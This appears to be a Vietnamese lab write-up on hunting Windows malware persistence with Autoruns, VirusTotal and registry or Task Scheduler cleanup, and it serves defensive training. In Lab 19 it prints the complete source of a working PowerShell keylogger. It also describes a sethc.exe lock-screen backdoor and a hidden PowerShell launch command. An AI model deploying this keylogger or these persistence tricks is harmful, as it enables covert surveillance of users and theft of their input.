Mình sử dụng tool Autoruns để xem những file nào khởi động cùng Windows. Nhớ chạy bằng quyền quản trị để lấy được hết các thông tin
Ở đây mình thấy có 2 file bị báo đỏ (Not verified). Unikey thì có thể tạm bỏ qua, ngoài ra thì có một file shortcut trông có vẻ khá khả nghi. Chuột phải chọn Jump to image để di chuyển tới thư mục chứa file.
Chuột phải để xem Properties của shortcut này, mình thấy nó trỏ tới file system.exe trong folder này luôn
Máy ảo này có sẵn tool để lấy ra hash nên mình sẽ lấy ra SHA-256 của file system.exe để đưa vào VirusTotal xem sao.
Và ta thu được là một con Trojan
Sau thì mình cũng thử quét file Unikey nhưng nó chỉ là file bình thường (thật ra là bị 2 cái báo Trojan lận :v)
Kết luận:
Mã độc có đường dẫn là: C:\Users\hunter\AppData\Roaming\ELP84P\System.exe.
Kỹ thuật persistent: Ghi giá trị vào Registry HKCU\Software\Microsoft\Windows NT\Current Version\Windows\Load.
Cách gỡ mã độc: xóa giá trị trong registry và xóa folder mã độc đi.
Lab 02
Recon:
Ở lab này, ngoài các app như Skype, 7zip, Unikey, ... báo đỏ ra thì mình thấy có hai file này nữa
Khi kiểm tra file của WinDefend, mình thấy ngày tạo ra của nó có vẻ hơi xa so với các file cùng thư mục. Có thể nó đã bị chỉnh sửa để làm gì đó.
Vì vậy, mình sẽ lấy SHA-256 của nó và vứt lên VirusTotal
Và ta lại thu được một con Trojan
Kết luận:
Mã độc nằm trong đường dẫn:C:\Windows\SysWOW64\hidservs.dll.
Kỹ thuật persistent: Ghi giá trị vào Registry HKLM\System\CurrentControlSet\Services
Cách gỡ mã độc: Xóa file trên và xóa giá trị trong registry đi.
Lab 03
Recon:
Đầu tiên mình nghi vấn file này là mã độc do giá trị đường dẫn của nó được viết thường (hacker tự viết?). Tuy nhiên thì không phải
Để ý file ảnh background.png, tại sao file ảnh lại cần autoruns nhỉ? Mình thử cho vào VirusTotal và đây là kết quả
Có vẻ là hacker đã sử dụng kĩ thuật nào đó để giấu file PE vào bức ảnh
Kết luận:
Mã độc nằm trong đường dẫn: C:\Users\hunter\AppData\Roaming\background.png.
Kỹ thuật persistent: Sử dụng Task Scheduler.
Cách gỡ mã độc: Xóa file background.png và gỡ giá trị trong Task Scheduler đi.
Lab 04
Recon:
Với bài này, các cảnh báo đỏ không còn là mã độc nữa. (Đã check từng cái)
Sau khi check một hồi, tới file này, mình thấy lệnh mà cmd.exe thực thi có vẻ khả nghi
Cụ thể, đây là đoạn mã được thực hiện (Jump to entry để lấy được thông tin trong Task Scheduler)
Để ý thì đoạn mã đằng sau có vẻ là encode dạng nào đó. Thử dùng CyberChef:
Hmmm, trông hơi lạ, cơ mà mình để ý nếu các kí tự NUL kia bị loại bỏ, có vẻ sẽ có gì đó.
Trông có vẻ đã dễ nhìn hơn khá nhiều, cơ mà có vẻ đây là một đoạn code bị obfuscate. Giờ là lúc sử dụng sức mạnh công nghệ. Mình sẽ sử dụng ChatGPT 4.0 để đọc đoạn code này
Từ kết quả trên, có thể kết luận được đây là mã độc của lab này. Kiểm tra thì đúng là có folder được tạo ra, và mã độc là temp nên không còn thấy ở đây nữa.
Kết luận:
Mã độc thực thi lệnh để tải file mã độc về chạy
Kỹ thuật persistent: Sử dụng Task Scheduler.
Cách gỡ mã độc: Gỡ task này khỏi Task Scheduler.
Lab 05:
Recon:
Với bài này, khi sử dụng Autoruns, mình thấy có một lệnh khả nghi
Thử search câu lệnh này trên GPT, mình ra được kết quả như sau:
Vậy nếu mình đoán không nhầm thì file OIS.EXE sẽ chứa Mimikatz. Sử dụng Jump to image để đến thư mục chứa file này và lấy hash cho vào VirusTotal
Và như dự đoán, đây là Mimikatz
Để ý kĩ hơn, OIS.EXE thật ra giống với một file trong Microsoft Office
Kết luận:
Mã độc nằm trong đường dẫn: C:\Windows\System32\OIS.EXE.
Kỹ thuật persistent: Sử dụng registry HKCU\Environment để tự động chạy Mimikatz với tham số sử dụng để dump user. Ngoài ra, sử dụng icon + tên giống của Microsoft Office để người dùng chủ quan.
Cách gỡ mã độc: Xóa giá trị UserInitMprLogonScript khỏi Registry trên, cũng như xóa file OIS.EXE đi.
Lab 06:
Recon:
Ở lab này, mình bắt đầu qua với máy ảo Windows 10 x64. Khi chạy Autoruns, mình thấy có một chương trình báo đỏ có Publisher không hiện gì ngoài Not verified
Chuyển tới thu mục chứa file thực thi, do lần này máy ảo không có sẵn tool để lấy mã hash nên mình sẽ sử dụng lệnh cmd certutil -hashfile để lấy mã hash của chương trình này và up lên VirusTotal
Và đây là kết quả VirusTotal thu được
Kết luận:
Mã độc nằm trong đường dẫn: C:\Windows\SysWOW64\trnsrun.exe.
Kỹ thuật persistent: Ghi giá trị vào Registry HKLM\SYSTEM\CurrentControlSet\Services\trnsrun.
Cách gỡ mã độc: Xóa file trnsrun.exe và giá trị trong Registry đi.
Lab 07:
Recon:
Sang lab tiếp theo, khi mở Autoruns, mình thấy luôn có một file DLL đáng ngờ
Thử lấy ra mã hash của file này và cho lên VirusTotal, mình thấy một con mã độc
Kết luận:
Mã độc nằm trong đường dẫn: C:\Users\Gee\AppData\Roaming\Microsoft\Windows\OUTLIB.DLL.
Kỹ thuật persistent: Ghi giá trị vào Registry HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs.
Cách gỡ mã độc: Xóa file OUTLIB.DLL và giá trị trong registry.
Lab 08:
Recon:
Với lab này thì các file báo đỏ thì có vẻ không có file nào là mã độc cả.
Ở đây, để ý một lúc thì mình thấy ứng dụng McAfee có đường dẫn hơi khác so với các file còn lại (ProgramData so với ProgramFile).
Nhảy tới thư mục chứa file, mình không thấy gì cả??
Thử sử dụng cmd, mình thấy có khá nhiều file bị ẩn đi
Lấy ra hash của file McAfee.exe và up lên VirusTotal, mình ra được kết quả như sau:
Có vẻ nó chỉ dùng để làm gì đó. Thử với các file còn lại và đây là kết quả khi mình quét file McUtil.dll
Kết luận:
Mã độc nằm trong đường dẫn: C:\ProgramData\McAfee\McUtil.dll.
Kỹ thuật persistent: Ghi giá trị vào Registry HKLM\SYSTEM\CurrentControlSet\Services\McAfee
Cách gỡ mã độc: Xóa cả folder McAfee trên đi và xóa giá trị trong Registry.
Lab 09
Recon:
Với lab này, khi mình mới mở máy thấy có một cửa sổ Powershell được bật lên trong giây lát. Có vẻ khá đáng ngờ nên mình sẽ để ý tới Powershell trong Autoruns nhiều hơn.
Dễ có thể thấy nó thực thi một file đáng ngờ install.ps1 thông qua lệnh powershell.exe -ExecutionPolicy Bypass -file C:\ProgramData\Microsoft\install.ps1 -WindowStyle Hidden.
Mở thư mục C:\ProgramData\Microsoft\, mình thấy được file install.ps1
Ở bài này, khi mở Autoruns lên thì mình thấy có một dòng như này:
Tại sao sethc.exe lại trỏ tới cmd.exe nhỉ? Mình thử hỏi GPT
Mình cũng đã từng nghe về kỹ thuật này. Nó được sử dụng để truy cập vào hệ thống mà không cần phải đăng nhập. Khi đang ở màn hình khóa, mình chỉ cần ấn Shift 5 lần sẽ ra được như này
Kết luận:
Mã độc được thực hiện bằng cách trỏ cmd.exe vào sethc.exe.
Kỹ thuật persistent: Ghi giá trị vào Registry HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe.
Cách gỡ mã độc: Xóa giá trị trong Registry đi.
Lab 12
Recon:
Khi đang tiến hành login thì mình thấy có một thông báo như sau. Không biết có liên quan gì tới mã độc không.
Khi mở Autoruns, mình để ý có dll được xuất hiện ở ảnh trên luôn. Trông có vẻ khá mờ ám
Mình thử lấy ra hash và up lên VirusTotal thì lại không có gì
Tuy nhiên, khi mình tra npilium.dll trên Google thì mình có tra được tài liệu sau:
Cụ thể, dựa trên tài liệu, ta biết được như sau
Có thể nói nó chính là mã độc của bài này
Kết luận:
Mã độc nằm ở đường dẫn: C:\Windows\System32\NPIlium.dll.
Kỹ thuật persistent: Ghi giá trị vào Registry HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order.
Cách gỡ mã độc: Xóa file NPIlium.dll và giá trị trong Registry đi.
Lab 13
Recon:
Bài này thì sau khi ngồi soi khá lâu thì mình mới thấy được file này có vẻ khả nghi
Bởi đây là khi mình hỏi GPT
Tuy nhiên khi mình lấy hash và up lên VirusTotal thì lại không có tí virus nào
Các thông tin cũng có vẻ đúng
Cơ mà nếu thế thì mình không thấy chương trình nào khả nghi cả @@. Vậy là mình đã thử phân tích động file này sử dụng ProcMon.
Đấy là mình nói thế chứ cái máy ảo này không chạy nổi cả ProcMon :( . Vì vậy, mình đã sử dụng chính VirusTotal. Ở tab Behavior, mình thấy có các module sau được load khi chương trình khởi động
Để ý các dll khác ngoài tmdbglog.dll đều là các dll hệ thống quen thuộc. Khả năng cao dll này có thể là mã độc. Mình thử tìm file này trên máy ảo
Đường dẫn của nó nằm trong cùng với thư mục chứa file lsm.exe luôn. Thử lấy ra hash và đưa lên VirusTotal
Kết luận:
Mã độc nằm trong đường dẫn: C:\Program Files\PRTG Network Monitor\TmDbgLog.dll.
Kỹ thuật persistent: Ghi giá trị vào Registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PRTG để chạy file lsm.exe có thực hiện load dll trên.
Cách gỡ mã độc: Xóa file TmDbgLog.dll và giá trị trong registry đi.
Lab 14
Recon:
Với bài này thì khi mở Autoruns, mình thấy có chương trình tên là Windows HD Audio Manager, tuy nhiên nó lại có logo của McAfee. Thậm chí đường dẫn cũng có vẻ đáng ngờ khi được lưu trong C:\Windows.
Trông khá lạ nên mình thử lấy hash ra và cho lên VirusTotal
Hmmm, file này đúng là của McAfee, nhưng sao đường dẫn lại như vậy được nhỉ. Có thể nó lại liên quan tới một file khác. Áp dụng các lab trước, hầu hết file mã độc sẽ cùng thư mục luôn. Ở đây mình để ý có một file đều có đầu là Qc cùng với đó là ngày tháng tạo ra cũng giống nhau
Mình thử up hash file này lên VirusTotal và thu được như sau
Update: Hình như đây là mã độc của APT-41.
Kết luận:
Mã độc nằm trong đường dẫn: C:\Windows\QcLite.dll.
Kỹ thuật persistent: Ghi giá trị vào registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
Cách gỡ mã độc: Xóa cả 2 file QcLite.dll và QcConsol.exe đi, cũng như giá trị trong registry.
Lab 15
Recon:
Vừa vào Autoruns thì mình thấy ngay có một lệnh powershell khả nghi
Vậy nghĩa là mã độc sẽ nằm trong file NvSmartMax.dll. Mình dễ dàng tìm thấy file này ở trong thư mục chứa nvsmart.exe luôn
Lấy ra mã hash và đưa lên VirusTotal
Kết quả thu được:
Theo như mình tìm hiểu được thì đây kiểu một con Backdoor.Trojan. Nó sẽ ghi lại keystroke, gửi thông tin hệ thống về phía attacker và khiến hệ thống có thể bị điều khiển từ xa
Kết luận:
Mã độc nằm ở đường dẫn: C:\Windows\apppatch\NvSmartMax.dll
Kỹ thuật persistent: Được sideload sử dụng NvSmart.exe được tự động khởi động thông qua Task Scheduler
Cách gỡ mã độc: Tắt tiến trình NvSmart.exe đang chạy rồi xóa các file NvSmartMax.dll, NvSmart.exe và nvsmart.sys khỏi hệ thống. Xóa task khỏi Task Scheduler.
Lab 19
Recon:
Ở lab này thì vừa mở máy lên mình thấy có cửa số Powershell. Sử dụng Autoruns để check:
Tuy nhiên, lạ cái là không có dòng nào có PowerShell cả. Vậy thì mình cứ tìm xem có cái nào đáng ngờ không vậy. Và ở đây mình thấy có một task trong TaskScheduler hiện là hidden
Thử mở task này trong Task Scheduler, mình đã thấy được câu lệnh có liên quan tới PowerShell
Vẫn là motip quen thuộc từ các lab trước. Mình sẽ decode đoạn Base64 ra để đọc code
Đoạn code thu được:
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
#Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
# notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
Đây thì chỉ đơn giản là một chương trình Keylogger.
Kết luận:
Mã độc nằm trong Task \Microsoft\Windows\Window Events của Task Scheduler.
Kỹ thuật persitent: Sử dụng Task Scheduler để chạy PowerShell thực thi Keylogger.
Cách gỡ mã độc: Xóa task trong Task Scheduler đi.
Lab 20
Recon:
Với lab này, khi mở Autoruns lên, mình đã thấy có file svchost.exe được đặt ở vị trí có vẻ không đúng lắm
Vì vậy, mình đã lấy ra hash của file này và đem kiểm tra trên VirusTotal
Đây là kết quả thu được
Kết luận:
Mã độc nằm ở đường dẫn: C:\Users\hunter\AppData\Roaming\WPDNSE\svchost.exe.
Kỹ thuật persistent: Ghi giá trị vào Registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Atapi x86_64 Driver.
Cách gỡ mã độc: Xóa file và giá trị trong Registry đi.